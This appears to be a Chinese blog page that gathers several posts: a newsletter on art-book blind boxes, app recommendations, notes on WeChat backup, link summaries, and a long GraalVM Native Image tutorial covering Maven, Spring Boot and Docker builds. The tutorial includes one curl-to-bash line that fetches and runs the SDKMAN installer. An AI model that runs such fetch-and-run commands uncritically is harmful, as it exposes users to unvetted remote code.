关于头图
头图摄于 2020 年 12 月,是我们乐队在学校一年一度的音乐节演出前最后一次排练。那次排练效果很好,大家都非常高兴,那晚就是这美好、珍贵回忆中的一段。图中两人未出镜:我(因为这张照片是我拍的)和我们的贝斯手(我真的没有黑贝斯——至少当时没有!)。
去年,《假杂志》遭遇了一些变故,令人惋惜。
年末,暂时转成艺术书咖啡馆的形式营业,算是有了新的开始。
25 年初假杂志制作了一些艺术书盲盒,想着支持他们重启,便买了一份。
最近回上海,才腾出空拆开。198 RMB 的 2 号盲盒,内有四本书,一个布袋。如果按书的原价来算,还是挺划算的。
两本图为主,两本字为主,搭配合理。过年在家,一天读两本,挺惬意。
比较喜欢 Mitsuru Fujita 的《Watarasegawa – Time Goes By》和《天气之语》。
《Watarasegawa – Time Goes By》拍摄了很多沿途的山、田野、街道。配上黑白的风格,有一种忧伤悲凉的气息。后续看了介绍,发现取景地是一次矿难附近,环境和人类活动的残留物互相拉扯、战斗着。
《天气之语》是一本气候相关的科普散文集,学术性和诗意结合的很好,翻译质量挺好,读起来不晦涩,让我想起了《离线》系列。美中不足的是,其中两页的印刷质量有小瑕疵。
偶尔买一次盲盒挺好的,读一些关注领域之外的内容,享受一个不一样的下午。
祝好,
喝着热巧克力的 Dayu
近期收到或抽到了一些软件,都挺有趣,放在一起聊聊。
写完才发现 5 个项目的作者都是推友。
推友 @Cydiar404 的项目 Juchats,快速访问多种大模型(如下图所示)。整体功能与 POE 类似,价格更便宜,界面更简洁,可以用支付宝直接付款。
目前已经稳定运行一年多,比较贴心的是有个 1.99 美元的日套餐,感兴趣的朋友可以测试一下。
YaoYao 跳绳软件作者 @haozes 的新产品 Tooboo,这次的定位是跑步和徒步旅行,软件风格特别舒服,和 Apple watch 适配的也很好。
支持与 Strava 同步,可以从两步路和 AllTrails 中导入路线。
竞品是 WorkOutDoors,支持得运动项目更全一些,但老项目界面稍微粗糙些。Tooboo 的优势则是设计和交互更现代,更新也更勤快,未来可能添加更多功能。国区买断价 48-68 块,很不错。
推友 @JuniperPhoton 的作品,用起来很舒服的拍照软件,可以配置 LUT,自带的滤镜也挺不错,玩法多样。
我喜欢它的原因比较个人。平时手机拍照比较习惯用 1:1 的框,Apple camera 没有长期固定 1:1 的设置,拍照前总要多个步骤,这个软件则能固定 1:1。
正好换了 iPhone16,就把 Photoncam 锁在了相机键。想 4:3 的时候再启用 Apple camera。
注:经网友提醒,iPhone 原来可以固定设置,选项名:Preserve Settings。
最近简单修图和加边框也用的它,挺顺手,偶尔精修的时候才用 Darkroom(开的越来越少了)。
推友 @vanillaCitron 的作品。
Piecelet 是 iOS 版的 NeoDB 浏览器,体验不错,这回在手机上添加书影音记录更方便了。
NeoDB 本就相对小众,愿意花心思为这个网站做软件,还是上架的 iOS 软件,不容易。
比较好奇 Piecelet 的含义。
@st7evechou 的作品。
SteveFans 能以小组件的形式追踪社交软件的关注数等数据,包括 Youtube、Twitter、Bilibili、Telegram等。
这个软件感觉很适合做自媒体的朋友使用,在创业阶段有个方便浏览数据的小窗口,很方便。
本刊物不定期发布,推荐通过 RSS 订阅:https://anotherdayu.com/feed/
「微信备份」
以前每到临近过年的时候,我都会整理聊天记录,然后删除微信,再重新下载一遍。
这样做很爽快,但偶尔也会希望浏览过去的历史记录。
今年准备备份一下,先尝试的是 oh-my-wechat,带年度总结,但目前不兼容微信新版本,图片显示加载失败。
然后尝试了老牌的 WechatExporter ,流程与 Oh-my-wechat 相似,稳定性不错,顺利完成了备份。
我在云盘中存了一份完整版,并在 DEVONthink 中存了一份「没有多媒体文件的 html 备份」,这样一年的聊天记录仅有 70 mb,方便索引。
另外,Untag 推荐的 wechatDataBackup 似乎更简单易用。但我没有 windows 系统的设备,未能测试。
|
Dynamicland 是一个独特的计算环境项目,它将计算机变成了一个实体场所。在这里,计算不是隐藏在虚拟世界中,而是以实物形式存在,人们可以直接用手触摸和操作。它是一个非营利性研究实验室,目标是发明一种新型计算形式,让普通社区成员也能轻松使用和创造。该项目由前苹果界面设计师 Bret Victor 参与研究,致力于让人们能在真实世界中协作,共同探索想法。
感兴趣的朋友可以听这一期播客:EP90: Dynamicland 2024 – 一天世界
|
「Colorado police give away free AirTags to cut car crime」
科罗拉多州的一个警察局目前会免费赠送一张包含汽车登记证的 AirTag,并附加一张贴纸,以说明该车辆正被警察局追踪。感觉这种追踪设备挺适合警局和保险公司合作,批量部署。
|
这篇研究文章探讨了名字是否能够影响人的面部特征。研究采用了多种方法,包括社会观察者评估和机器学习算法,以验证「自我实现预言」效应,即人们的面部特征随着时间的发展会趋于与其名字相关的社会刻板印象相符。
|
很有趣的研究,研究者利用基因工程改造刚地弓形虫(Toxoplasma gondii),使其能够穿透血脑屏障,将治疗性蛋白质递送至大脑神经元。这一技术为解决中枢神经系统疾病治疗中的药物递送难题提供了新思路。
|
「Forgetting as a form of adaptive engram cell plasticity」
文章提出,遗忘并非记忆本身的消失,而是记忆印迹细胞(engram cells)从“可激活状态”转变为“不可激活状态”的过程。记忆信息仍存储于大脑中,但缺乏触发其提取的“钥匙”(如特定环境线索)。这一观点挑战了传统认为遗忘是信息丢失的观点,将其重新定义为神经可塑性的表现形式。
|
Ubuntu is an ancient African word meaning ‘humanity to others’. It also means ‘I am what I am because of who we all are’. The Ubuntu operating system brings the spirit of Ubuntu to the world of computers.
Ubuntu 是一个古老的非洲词,意思是“对他人的人道”。它还意味着“我之所以成为我,是因为我们都是我”。 Ubuntu 操作系统将 Ubuntu 的精神带入了计算机世界。
|
这篇 meta 分析表明,触摸能改善身体和心理的多种指标,如减轻疼痛、焦虑和抑郁。
|
这款由粉丝制作,为粉丝服务。网页即可开玩,开源且非盈利。所有版权归宝可梦公司所有。另外,「宝可梦大集合」最近也出自走棋了,挺好玩的。
当做一个置顶页面,更新一些导航和自己相关的内容。敬请期待~
推荐阅读:
[该文章已设置加密]
推荐阅读:
随着云原生技术的普及,Java 应用在云环境中的臃肿问题变得更加突出,比如:
在云原生环境中,尤其是微服务架构下,快速启动和弹性伸缩是核心需求,这也是云原生的基本理念:轻量、快速、弹性。很显然,Java 的这些问题和这个理念是相冲突的,而 GraalVM 正是解决这些问题的关键技术之一。
GraalVM 是由 Oracle 实验室于 2011 年启动的一个研究项目。项目初期主要专注于编译器 Graal Compiler 的开发,目标是创建一个高性能的 Java 编译器,以替代传统的 HotSpot JVM 中的 C2 编译器;2017 年,推出了 Truffle 框架,支持多语言互操作,扩展了 GraalVM 的多语言能力,以超强性能运行 JavaScript、Python、Ruby 以及其他语言;不过这时的 GraalVM 还不温不火,只有少部分研究人员和早期尝鲜者在使用,直到 2018 年,GraalVM 1.0 正式发布,推出了 原生镜像(Native Image) 功能,标志着其正式进入主流市场。
GraalVM 的原生镜像功能通过 提前编译(AOT) 机制,显著改善了 Java 在云原生环境中的表现。GraalVM 可以将 Java 应用编译为独立的可执行文件,无需依赖 JVM,大幅减小了镜像体积;而且这种方式消除了 JIT 编译的开销,使启动时间从秒级降低到毫秒级;此外,原生镜像运行时仅加载必要的类库和资源,内存占用也比传统 Java 应用少得多。
这一节我们将学习 GraalVM 的安装以及 Native Image 的基本使用。
GraalVM 支持常见的操作系统,包括 Linux、macOS 和 Windows。
在 Linux 和 macOS 下,推荐使用 SDKMAN! 来安装 GraalVM。首先我们安装 SDKMAN!
:
$ curl -s "https://get.sdkman.io" | bash
安装完成后,使用 sdk list java
列出当前系统可用的 JDK 版本:
也可以使用
sdk install java [TAB]
列出所有可用版本。
================================================================================
Available Java Versions for macOS ARM 64bit
================================================================================
Vendor | Use | Version | Dist | Status | Identifier
--------------------------------------------------------------------------------
Corretto | | 23.0.1 | amzn | | 23.0.1-amzn
| | 21.0.5 | amzn | | 21.0.5-amzn
| | 17.0.13 | amzn | | 17.0.13-amzn
| | 11.0.25 | amzn | | 11.0.25-amzn
| | 8.0.432 | amzn | | 8.0.432-amzn
Gluon | | 22.1.0.1.r17 | gln | | 22.1.0.1.r17-gln
GraalVM CE | | 23.0.1 | graalce | | 23.0.1-graalce
| >>> | 21.0.2 | graalce | installed | 21.0.2-graalce
| | 17.0.9 | graalce | installed | 17.0.9-graalce
GraalVM Oracle| | 25.ea.4 | graal | | 25.ea.4-graal
| | 24.ea.27 | graal | | 24.ea.27-graal
| | 23.0.1 | graal | | 23.0.1-graal
| | 21.0.5 | graal | | 21.0.5-graal
| | 17.0.12 | graal | | 17.0.12-graal
Java.net | | 25.ea.5 | open | | 25.ea.5-open
| | 24.ea.31 | open | | 24.ea.31-open
| | 23 | open | | 23-open
| | 21.0.2 | open | | 21.0.2-open
JetBrains | | 21.0.5 | jbr | | 21.0.5-jbr
| | 17.0.12 | jbr | | 17.0.12-jbr
| | 11.0.14.1 | jbr | | 11.0.14.1-jbr
Liberica | | 23.0.1 | librca | | 23.0.1-librca
| | 21.0.5 | librca | | 21.0.5-librca
| | 17.0.13 | librca | | 17.0.13-librca
| | 11.0.25 | librca | | 11.0.25-librca
| | 8.0.432 | librca | | 8.0.432-librca
Liberica NIK | | 24.1.1.r23 | nik | | 24.1.1.r23-nik
| | 23.1.5.r21 | nik | | 23.1.5.r21-nik
| | 22.3.5.r17 | nik | | 22.3.5.r17-nik
Mandrel | | 24.1.1.r23 | mandrel | | 24.1.1.r23-mandrel
| | 23.1.5.r21 | mandrel | | 23.1.5.r21-mandrel
Microsoft | | 21.0.5 | ms | | 21.0.5-ms
| | 17.0.13 | ms | | 17.0.13-ms
| | 11.0.25 | ms | | 11.0.25-ms
Oracle | | 23.0.1 | oracle | | 23.0.1-oracle
| | 22.0.2 | oracle | | 22.0.2-oracle
| | 21.0.5 | oracle | | 21.0.5-oracle
| | 17.0.12 | oracle | | 17.0.12-oracle
SapMachine | | 23.0.1 | sapmchn | | 23.0.1-sapmchn
| | 21.0.5 | sapmchn | | 21.0.5-sapmchn
| | 17.0.13 | sapmchn | | 17.0.13-sapmchn
| | 11.0.25 | sapmchn | | 11.0.25-sapmchn
Semeru | | 21.0.5 | sem | | 21.0.5-sem
| | 17.0.13 | sem | | 17.0.13-sem
| | 11.0.25 | sem | | 11.0.25-sem
Temurin | | 23.0.1 | tem | | 23.0.1-tem
| | 21.0.5 | tem | | 21.0.5-tem
| | 17.0.13 | tem | | 17.0.13-tem
| | 11.0.25 | tem | | 11.0.25-tem
Tencent | | 21.0.5 | kona | | 21.0.5-kona
| | 17.0.13 | kona | | 17.0.13-kona
| | 11.0.25 | kona | | 11.0.25-kona
| | 8.0.432 | kona | | 8.0.432-kona
Zulu | | 23.0.1 | zulu | | 23.0.1-zulu
| | 21.0.5 | zulu | | 21.0.5-zulu
| | 17.0.13 | zulu | | 17.0.13-zulu
| | 11.0.25 | zulu | | 11.0.25-zulu
| | 8.0.432 | zulu | | 8.0.432-zulu
================================================================================
Omit Identifier to install default version 21.0.5-tem:
$ sdk install java
Use TAB completion to discover available versions
$ sdk install java [TAB]
Or install a specific version by Identifier:
$ sdk install java 21.0.5-tem
Hit Q to exit this list view
================================================================================
其中 GraalVM 有两个,GraalVM CE
是由社区维护,是开源的,基于 OpenJDK 开发;而 GraalVM Oracle
是由 Oracle 发布,基于 Oracle JDK 开发,我们这里安装社区版:
$ sdk install java 21.0.2-graalce
使用 java -version
确认安装是否成功:
$ java -version
openjdk version "21.0.2" 2024-01-16
OpenJDK Runtime Environment GraalVM CE 21.0.2+13.1 (build 21.0.2+13-jvmci-23.1-b30)
OpenJDK 64-Bit Server VM GraalVM CE 21.0.2+13.1 (build 21.0.2+13-jvmci-23.1-b30, mixed mode, sharing)
接下来,我们将通过最简单的 Hello World 例子了解 Native Image 的基本使用。
首先,我们创建一个 Hello.java
文件,如下:
class Hello {
public static void main(String[] args) {
System.out.println("Hello");
}
}
直接使用 java
命令运行,确保程序没有错误:
$ java Hello.java
Hello
然后使用 javac
将 .java
文件编译成 .class
文件:
$ javac Hello.java
此时,当前目录下会生成一个 Hello.class
文件。接下来使用 native-image
命令,将 .class
文件打包成可执行程序:
$ native-image Hello
========================================================================================================================
GraalVM Native Image: Generating 'hello' (executable)...
========================================================================================================================
[1/8] Initializing... (7.2s @ 0.10GB)
Java version: 21.0.2+13, vendor version: GraalVM CE 21.0.2+13.1
Graal compiler: optimization level: 2, target machine: armv8-a
C compiler: cc (apple, arm64, 15.0.0)
Garbage collector: Serial GC (max heap size: 80% of RAM)
1 user-specific feature(s):
- com.oracle.svm.thirdparty.gson.GsonFeature
------------------------------------------------------------------------------------------------------------------------
Build resources:
- 12.09GB of memory (75.6% of 16.00GB system memory, determined at start)
- 8 thread(s) (100.0% of 8 available processor(s), determined at start)
[2/8] Performing analysis... [****] (5.6s @ 0.32GB)
3,225 reachable types (72.5% of 4,450 total)
3,810 reachable fields (50.1% of 7,606 total)
15,653 reachable methods (45.6% of 34,359 total)
1,059 types, 87 fields, and 678 methods registered for reflection
57 types, 57 fields, and 52 methods registered for JNI access
4 native libraries: -framework Foundation, dl, pthread, z
[3/8] Building universe... (1.3s @ 0.29GB)
[4/8] Parsing methods... [*] (0.6s @ 0.29GB)
[5/8] Inlining methods... [***] (0.5s @ 0.46GB)
[6/8] Compiling methods... [**] (4.9s @ 0.34GB)
[7/8] Layouting methods... [*] (0.7s @ 0.50GB)
[8/8] Creating image... [*] (1.5s @ 0.47GB)
5.08MB (39.25%) for code area: 8,896 compilation units
7.48MB (57.87%) for image heap: 97,240 objects and 76 resources
381.68kB ( 2.88%) for other data
12.93MB in total
------------------------------------------------------------------------------------------------------------------------
Top 10 origins of code area: Top 10 object types in image heap:
3.80MB java.base 1.58MB byte[] for code metadata
936.91kB svm.jar (Native Image) 1.29MB byte[] for java.lang.String
108.35kB java.logging 976.00kB java.lang.String
56.84kB org.graalvm.nativeimage.base 748.94kB java.lang.Class
43.64kB jdk.proxy1 328.26kB byte[] for general heap data
42.03kB jdk.proxy3 277.15kB com.oracle.svm.core.hub.DynamicHubCompanion
21.98kB org.graalvm.collections 244.27kB java.util.HashMap$Node
19.52kB jdk.internal.vm.ci 219.04kB java.lang.Object[]
10.46kB jdk.proxy2 184.95kB java.lang.String[]
8.04kB jdk.internal.vm.compiler 155.52kB byte[] for reflection metadata
2.95kB for 2 more packages 1.55MB for 905 more object types
------------------------------------------------------------------------------------------------------------------------
Recommendations:
INIT: Adopt '--strict-image-heap' to prepare for the next GraalVM release.
HEAP: Set max heap for improved and more predictable memory usage.
CPU: Enable more CPU features with '-march=native' for improved performance.
------------------------------------------------------------------------------------------------------------------------
1.3s (5.7% of total time) in 115 GCs | Peak RSS: 0.93GB | CPU load: 4.04
------------------------------------------------------------------------------------------------------------------------
Produced artifacts:
/Users/aneasystone/Codes/github/weekly-practice/notes/week058-java-native-app-with-graalvm/demo/hello (executable)
========================================================================================================================
Finished generating 'hello' in 22.6s.
上面可以看到 native-image
详情的运行过程,最终生成一个 hello
文件,可以直接执行:
$ ./hello
Hello
native-image
不仅可以将类文件转换为可执行文件,也支持输入 JAR 文件或模块(Java 9 及更高版本),参考 这里 和 这里;除了可以编译可执行文件,native-image
还可以将类文件 编译成共享库(native shared library)。
上一节我们演示了如何将单个 Java 文件编译成可执行文件,不过在日常工作中,我们的项目可没这么简单,一般会使用 Maven 来对代码进行组织,在微服务盛行的今天,更多的项目是使用一些微服务框架来开发,如何将这些复杂应用编译成可执行文件也是一个值得学习的课题。
GraalVM 提供了 Maven 插件,方便我们在 Maven 项目中使用 Native Image 构建原生应用。
GraalVM 同时也支持 Gradle 插件,如果你使用的是 Gradle 管理项目,可以参考 Gradle 插件文档。
首先,我们用 mvn archetype:generate
生成一个 Maven 项目:
$ mvn archetype:generate \
-DgroupId=com.example \
-DartifactId=hello \
-DarchetypeArtifactId=maven-archetype-quickstart \
-DinteractiveMode=false
这里选择的项目脚手架为 maven-archetype-quickstart
,关于项目脚手架的使用,可以参考我之前写的 这篇笔记。
生成项目的目录结构如下所示:
hello
├── pom.xml
└── src
├── main
│ └── java
│ └── com
│ └── example
│ └── App.java
└── test
└── java
└── com
└── example
└── AppTest.java
打开 pom.xml
文件,添加如下两个 Maven 插件,用于编译和打包:
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.12.1</version>
<configuration>
<fork>true</fork>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<version>3.3.0</version>
<configuration>
<archive>
<manifest>
<mainClass>com.example.App</mainClass>
<addClasspath>true</addClasspath>
</manifest>
</archive>
</configuration>
</plugin>
</plugins>
</build>
此时我们就可以使用 mvn clean package
命令,将项目打包成可执行的 JAR 文件了:
$ mvn clean package
使用 java -jar
运行 JAR 文件:
$ java -jar ./target/hello-1.0-SNAPSHOT.jar
Hello World!
接下来我们可以使用 native-image -jar
将 JAR 文件转换为可执行文件,或者我们可以更进一步,在 pom.xml
文件中添加如下配置:
<profiles>
<profile>
<id>native</id>
<build>
<plugins>
<plugin>
<groupId>org.graalvm.buildtools</groupId>
<artifactId>native-maven-plugin</artifactId>
<version>0.10.4</version>
<extensions>true</extensions>
<executions>
<execution>
<id>build-native</id>
<goals>
<goal>compile-no-fork</goal>
</goals>
<phase>package</phase>
</execution>
<execution>
<id>test-native</id>
<goals>
<goal>test</goal>
</goals>
<phase>test</phase>
</execution>
</executions>
</plugin>
</plugins>
</build>
</profile>
</profiles>
注意,从 JDK 21 开始,Native Image Maven Plugin 改成了
org.graalvm.buildtools:native-maven-plugin
,之前的版本中使用的是org.graalvm.nativeimage:native-image-maven-plugin
,参考 这里。
然后执行如下命令:
$ mvn clean package -Pnative -DskipTests=true
这样不仅可以将项目打包成 JAR 文件,同时也会生成一个可执行文件:
$ ./target/hello
Hello World!
注意在上面的命令中我们加了一个忽略测试的参数 -DskipTests=true
,如果不加的话,可能会报错:
[ERROR] Failed to execute goal org.graalvm.buildtools:native-maven-plugin:0.10.4:test (test-native) on project hello:
Execution test-native of goal org.graalvm.buildtools:native-maven-plugin:0.10.4:test failed: Test configuration file wasn't found.
根据 Testing support 部分的说明,目前插件只支持 JUnit 5.8.1 以上的版本,而通过 maven-archetype-quickstart
脚手架生成的项目里用的是 JUnit 3.8.1,所以我们可以将依赖改为:
<dependency>
<groupId>org.junit.jupiter</groupId>
<artifactId>junit-jupiter-api</artifactId>
<version>5.10.5</version>
<scope>test</scope>
</dependency>
同时将测试类替换成 JUnit 5 的写法:
package com.example;
import static org.junit.jupiter.api.Assertions.assertEquals;
import org.junit.jupiter.api.*;
public class AppTest
{
@Test
public void testApp()
{
assertEquals( "hello".length(), 5 );
}
}
这时就可以去掉 -DskipTests=true
参数了:
$ mvn clean package -Pnative
注意,从构建输出上可以看出来,单元测试运行了两遍,第一遍是标准的
surefire:test
,第二遍是 Native Image 的native:test
,这两次运行的目的和场景是不一样的,surefire:test
在 JVM 上运行,验证代码在 JVM 环境下的正确性,native:test
在 Native Image 构建的上下文中运行,验证代码在 Native Image 环境下的正确性。如果你的代码在两种环境下的行为可能不同(如反射、动态类加载等),可能需要都运行,否则只运行surefire:test
即可,可以通过-DskipNativeTests=true
跳过native:test
。
这一节将演示如何从 Spring Boot 应用程序构建一个本地可执行文件,Spring Boot 从 3.0 开始支持原生镜像,可以更轻松地配置项目,并显著提高 Spring Boot 应用程序的性能。
其他主流的微服务框架均已支持 GraalVM 的原生镜像功能,如:Quarkus、Helidon SE、Micronaut 等。
首先,我们需要一个测试的 Spring Boot 应用,有很多快速创建 Spring Boot 脚手架的方法,可以参考我之前写的 这篇笔记,我最喜欢的方法有两种:Spring Initializr 和 Spring Boot CLI,这里通过 Spring Boot CLI
来创建:
可以使用 SDKMAN!
安装 Spring Boot CLI
:
$ sdk install springboot
$ spring --version
Spring CLI v3.4.1
安装完毕后,执行如下命令生成:
$ spring init --name hello \
--artifact-id hello \
--group-id com.example \
--language java \
--java-version 21 \
--boot-version 3.4.1 \
--type maven-project \
--dependencies web,native \
hello
打开 pom.xml
文件可以发现,生成的代码中已经自动为我们加了 native-maven-plugin
依赖。
这时,我们可以执行 mvn clean package
将程序打成 JAR 包并运行,也可以执行 mvn spring-boot:run
直接运行:
$ mvn spring-boot:run
...
2025-01-17T08:56:17.206+08:00 INFO 33037 --- [hello] [ main] o.s.b.w.embedded.tomcat.TomcatWebServer : Tomcat started on port 8080 (http) with context path '/'
2025-01-17T08:56:17.210+08:00 INFO 33037 --- [hello] [ main] com.example.hello.HelloApplication : Started HelloApplication in 0.548 seconds (process running for 0.662)
如果要将程序打包成可执行文件,可以执行如下命令:
$ mvn native:compile -Pnative
然后运行之:
$ ./target/hello
...
2025-01-17T09:02:19.732+08:00 INFO 33935 --- [hello] [ main] o.s.b.w.embedded.tomcat.TomcatWebServer : Tomcat started on port 8080 (http) with context path '/'
2025-01-17T09:02:19.733+08:00 INFO 33935 --- [hello] [ main] com.example.hello.HelloApplication : Started HelloApplication in 0.054 seconds (process running for 0.071)
可以看到启动速度是 JAR 文件的 10 倍。
在云原生环境下,所有服务都被打包成镜像,这也被称为 容器化(Containerize)。我在很早以前写过一篇 博客 介绍了如何编写 Dockerfile 将 Spring Boot 应用构建成 Docker 镜像,针对 GraalVM 原生应用,我们一样可以照葫芦画瓢。
最简单的方式是基于 JDK 基础镜像,直接将 JAR 文件拷贝进去即可,新建 Dockerfile.jvm
文件,内容如下:
FROM ghcr.io/graalvm/jdk-community:21
EXPOSE 8080
COPY ./target/hello-0.0.1-SNAPSHOT.jar app.jar
CMD ["java","-jar","app.jar"]
之前说过 GraalVM 也可以作为普通的 JDK 使用,所以这里直接使用 GraalVM 的 JDK 镜像。首先通过 mvn package
正常将项目打成 JAR 包,然后执行如下命令构建镜像:
$ docker build -f Dockerfile.jvm -t hello:jvm .
运行该镜像:
$ docker run --rm -p 8080:8080 hello:jvm
这种方式虽然简单,但是每次构建镜像之前先得 mvn package
一下,可以使用 多阶段构建(Multi-stage builds) 的技巧,将两步合成一步。新建 Dockerfile.jvm.ms
文件,内容如下:
FROM ghcr.io/graalvm/native-image-community:21 AS builder
WORKDIR /build
COPY . /build
RUN ./mvnw --no-transfer-progress package -DskipTests=true
FROM ghcr.io/graalvm/jdk-community:21
EXPOSE 8080
COPY --from=builder /build/target/hello-0.0.1-SNAPSHOT.jar app.jar
CMD ["java","-jar","app.jar"]
整个 Dockerfile 分为两个构建阶段,第一阶段使用 mvn package
生成 JAR 文件,第二阶段和 Dockerfile.jvm
几乎是一样的,只不过是从第一阶段的构建结果中拷贝 JAR 文件。
直接执行如下命令构建镜像:
$ docker build -f Dockerfile.jvm.ms -t hello:jvm.ms .
运行该镜像:
$ docker run --rm -p 8080:8080 hello:jvm.ms
有了上面的基础,我们可以更进一步,直接将二进制文件打包成镜像,这样可以省去 JDK,大大减小镜像体积。我们可以基于某个系统镜像,比如 alpine
或 almalinux
,新建 Dockerfile.native
文件如下:
FROM almalinux:9
EXPOSE 8080
COPY target/hello app
ENTRYPOINT ["/app"]
然后执行如下命令构建镜像:
$ docker build -f Dockerfile.native -t hello:native .
运行该镜像:
$ docker run --rm -p 8080:8080 hello:native
不过这一次没有那么顺利,运行报错了:
exec /app: exec format error
这里就不得不提可执行文件格式的概念了。我们知道 GraalVM 的原生镜像功能是将 Java 代码编译成二进制文件,但是要注意的是,这个二进制文件是平台相关的,在不同的操作系统下,可执行文件的格式大相径庭。常见的可执行文件格式有以下几种:
.exe
文件就是这种格式。Docker 容器基于 Linux 内核开发,所以只能运行 ELF 格式的文件,而上面的二进制文件是我在 Mac 电脑上构建的,所以复制到容器里无法运行。
如果你使用的是 Linux 开发环境,可能就不会遇到这个问题;但是如果你和我一样,使用的是 Mac 或 Windows 操作系统,建议还是使用多阶段构建的技巧。新建 Dockerfile.native.ms
文件如下:
FROM ghcr.io/graalvm/native-image-community:21 AS builder
WORKDIR /build
COPY . /build
RUN ./mvnw --no-transfer-progress native:compile -Pnative -DskipTests=true
FROM almalinux:9
EXPOSE 8080
COPY --from=builder /build/target/hello app
ENTRYPOINT ["/app"]
构建镜像:
$ docker build -f Dockerfile.native.ms -t hello:native.ms .
运行镜像:
$ docker run --rm -p 8080:8080 hello:native.ms
在实验过程中还有一点值得特别注意,那就是 GLIBC 的兼容性问题,可以使用 ldd --version
确认构建和运行使用的两个基础镜像中 GLIBC 版本。
查看 ghcr.io/graalvm/native-image-community:21
的 GLIBC 版本:
$ docker run --rm --entrypoint sh ghcr.io/graalvm/native-image-community:21 ldd --version
ldd (GNU libc) 2.34
Copyright (C) 2021 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
查看 almalinux:9
的 GLIBC 版本:
$ docker run --rm --entrypoint sh almalinux:9 ldd --version
ldd (GNU libc) 2.34
Copyright (C) 2021 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
可以看出这两个基础镜像的 GLIBC 是一致的。如果我们将 almalinux:9
换成 centos:7
:
$ docker run --rm --entrypoint sh centos:7 ldd --version
ldd (GNU libc) 2.17
Copyright (C) 2012 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
运行时就可能报下面这样的报错:
/app: /lib64/libc.so.6: version `GLIBC_2.32' not found (required by /app)
/app: /lib64/libc.so.6: version `GLIBC_2.34' not found (required by /app)
CNB(Cloud Native Buildpacks) 是一种用于构建和打包应用程序的技术,旨在简化应用程序的开发、部署和运行,使用 CNB 开发人员无需编写 Dockerfile 就可以构建容器镜像。它会自动检测应用程序的类型和所需的环境,根据检测结果,下载必要的依赖项,并将它们与应用程序代码打包,最终生成一个符合 OCI 标准的容器镜像。
Spring Boot 的 Maven 插件 spring-boot-maven-plugin
已经集成了 CNB,它使用 Paketo Java Native Image buildpack 来生成包含本地可执行文件的轻量级容器镜像。
针对上面的 Spring Boot 应用,我们可以直接运行下面的命令:
$ mvn spring-boot:build-image -Pnative
...
[INFO] Successfully built image 'docker.io/library/hello:0.0.1-SNAPSHOT'
...
构建之前,请确保有一个兼容 Docker-API 的容器运行时,比如 Rancher Desktop、Docker 或 Podman 等。
使用 docker run
运行:
$ docker run --rm -p 8080:8080 hello:0.0.1-SNAPSHOT
生成的镜像名默认为 docker.io/library/${project.artifactId}:${project.version}
,可以通过下面的配置进行修改:
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
<configuration>
<image>
<name>docker.io/library/aneasystone/${project.artifactId}:${project.version}</name>
</image>
</configuration>
</plugin>
更多构建参数可以参考 Spring Boot 官方文档 Packaging OCI Images。
软件行业有一句名言:没有银弹(No Silver Bullet),对于 GraalVM 技术也同样如此,它虽然具有镜像体积小、启动速度快、内存消耗低等优势,但是同时它也带来了一些新问题:
针对每个新问题也都有对应的解决方案。比如引入 CI/CD 流水线自动化构建,让开发人员降低编译速度慢的感知;比如通过 Docker 容器镜像统一软件的分发方式;GraalVM 目前也在不断优化,增加传统 Java 调试和监控工具的支持,如 JFR 和 JMX 等;对于程序中的动态特性,也可以通过额外的适配工作来解决。
下面针对最后一个问题进行更进一步的实践。
资源文件是项目开发中经常遇到的一种场景,但是默认情况下, native-image
工具不会将资源文件集成到可执行文件中。首先,我们准备两个文件,App.java
为主程序,app.res
为资源文件:
├── App.java
└── app.res
App.java
中的代码非常简单,读取并输出 app.res
中的内容:
public class App {
public static void main( String[] args ) throws IOException {
String message = readResource("app.res");
System.out.println(message);
}
public static String readResource(String fileName) throws IOException {
StringBuilder content = new StringBuilder();
try (
InputStream inputStream = App.class.getClassLoader().getResourceAsStream(fileName);
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream, StandardCharsets.UTF_8))) {
String line;
while ((line = reader.readLine()) != null) {
content.append(line).append(System.lineSeparator());
}
}
return content.toString();
}
}
我们使用 native-image
生成可执行文件:
$ javac App.java && native-image App
运行这个文件会抛出如下的空指针异常:
$ ./app
Exception in thread "main" java.lang.NullPointerException
at java.base@21.0.2/java.io.Reader.<init>(Reader.java:168)
at java.base@21.0.2/java.io.InputStreamReader.<init>(InputStreamReader.java:123)
at App.readResource(App.java:18)
at App.main(App.java:10)
根据异常信息推断,getResourceAsStream
返回了空指针,也就是说没有读到 app.res
资源文件,可以看出 native-image
确实没有把资源文件集成到可执行文件中。
为了让 native-image
知道资源文件的存在,我们新建一个 META-INF/native-image
目录,目录下新建一个 resource-config.json
文件,目录结构如下所示:
├── App.java
├── META-INF
│ └── native-image
│ └── resource-config.json
└── app.res
resource-config.json
文件的内容如下:
{
"resources": {
"includes": [
{
"pattern": "app.res"
}
]
},
"bundles": []
}
重新运行 native-image
进行构建:
$ javac App.java && native-image App
native-image
会自动扫描 META-INF/native-image
目录下的配置文件,将资源文件集成到可执行文件中,此时就可以正常运行这个文件了:
$ ./app
Hello message from the resource file.
接下来,我们再看一个反射的例子。反射是 Java 中一项非常重要的特性,可以根据字符串来动态地加载类和方法,native-image
如果得不到足够的上下文信息,可能编译时就会缺少这些反射的类和方法。不过 native-image
也是足够聪明的,如果在调用某些反射方法时使用了常量,native-image
也能自动编译这些常量对应的类和方法,比如:
Class.forName("java.lang.Integer")
Class.forName("java.lang.Integer", true, ClassLoader.getSystemClassLoader())
Class.forName("java.lang.Integer").getMethod("equals", Object.class)
Integer.class.getDeclaredMethod("bitCount", int.class)
Integer.class.getConstructor(String.class)
Integer.class.getDeclaredConstructor(int.class)
Integer.class.getField("MAX_VALUE")
Integer.class.getDeclaredField("value")
